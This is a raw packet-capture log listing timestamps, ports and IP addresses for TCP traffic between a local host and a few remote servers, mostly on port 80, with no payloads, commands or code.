Nov 12, 2024 04:16:30.846838951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846849918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846860886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846889019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846909046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846916914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846932888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846944094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846957922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846961021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846985102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846987963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846999884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847011089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847012997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847038031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847071886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847129107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847141027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847151995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847162008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847167969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847173929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847187042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847187996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847201109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847212076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847218990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847224951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847229004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847237110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847279072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847304106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847340107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847352982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847362995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847373962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847384930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847388029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847397089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847408056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847417116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847418070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847430944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847443104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847445965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847460985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847462893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847475052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847484112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847495079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847496033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847546101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847594976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847606897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847615957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847628117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847640038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847641945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847651005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847662926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847665071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847675085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847682953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847687960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847701073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847711086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847712994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847724915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847734928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847748995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847757101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847771883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847784042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847793102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847831011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847831964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847845078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847855091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847866058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847877026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847878933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847901106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847913980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.847970963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847987890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.847999096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.848015070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.848016024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.848030090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.848040104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.848042011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.848062038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.848067999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.848074913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.848086119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.848089933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.848099947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.848133087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.848156929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.867340088 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.867944956 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.868012905 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.868236065 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.868484020 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.868508101 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.868520021 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.868525982 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.872271061 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.872313976 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.872406960 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.872558117 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.872571945 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.890568018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.890582085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.890594006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.890649080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.890722990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960287094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960305929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960321903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960350037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960375071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960400105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960412025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960423946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960453987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960469961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960536003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960547924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960557938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960570097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960583925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960587025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960599899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960609913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960619926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960623026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960628986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960649014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960675955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960722923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960733891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960743904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960767031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960772038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960778952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960797071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960797071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960809946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960819960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960820913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960838079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960849047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960855007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960859060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960870981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960874081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960882902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960895061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960900068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960927010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960931063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960944891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960946083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960957050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960972071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.960977077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960989952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.960992098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.961002111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.961013079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.961014986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.961055040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.961069107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.997339964 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.997549057 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.997603893 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.998034954 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.998043060 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.998054981 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.998085022 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:31.030658007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030679941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030693054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030720949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.030744076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.030761957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030797958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030808926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030817986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.030821085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030841112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030849934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.030853987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030879974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.030883074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030895948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030906916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.030906916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.030939102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032044888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032061100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032072067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032082081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032093048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032111883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032152891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032191038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032202005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032238960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032262087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032299042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032316923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032354116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032434940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032452106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032464027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032474041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032474041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032481909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032489061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032500982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032510042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032510996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032521009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032530069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032533884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032543898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032546997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032558918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032560110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032569885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032572031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032581091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032591105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032591105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032603979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032604933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032618046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032629967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032634020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032645941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032654047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032663107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032670021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032694101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032705069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032707930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032717943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032733917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032742977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032743931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032754898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032767057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032777071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032788992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032814026 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032835960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032867908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032870054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032880068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.032906055 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.032918930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033169985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033183098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033212900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033225060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033226013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033246040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033257961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033273935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033307076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033370018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033381939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033394098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033405066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033416033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033416033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033427954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033440113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033447027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033457994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033463001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033469915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033483982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033487082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033499956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033505917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033512115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033530951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033534050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033554077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033571959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033695936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033715010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033726931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033732891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033747911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033766031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033787966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033823967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033842087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033855915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033865929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033874989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033885002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033899069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033904076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033911943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033946037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033965111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033971071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.033976078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033987045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.033998013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034017086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034027100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.034040928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034044981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.034055948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034066916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034071922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.034077883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034099102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034109116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034116983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.034130096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.034131050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034142971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034152031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034158945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.034168959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034174919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.034181118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034193993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034204960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.034204960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034216881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.034224033 CET	49750	80	192.168.2.5	185.215.113.206
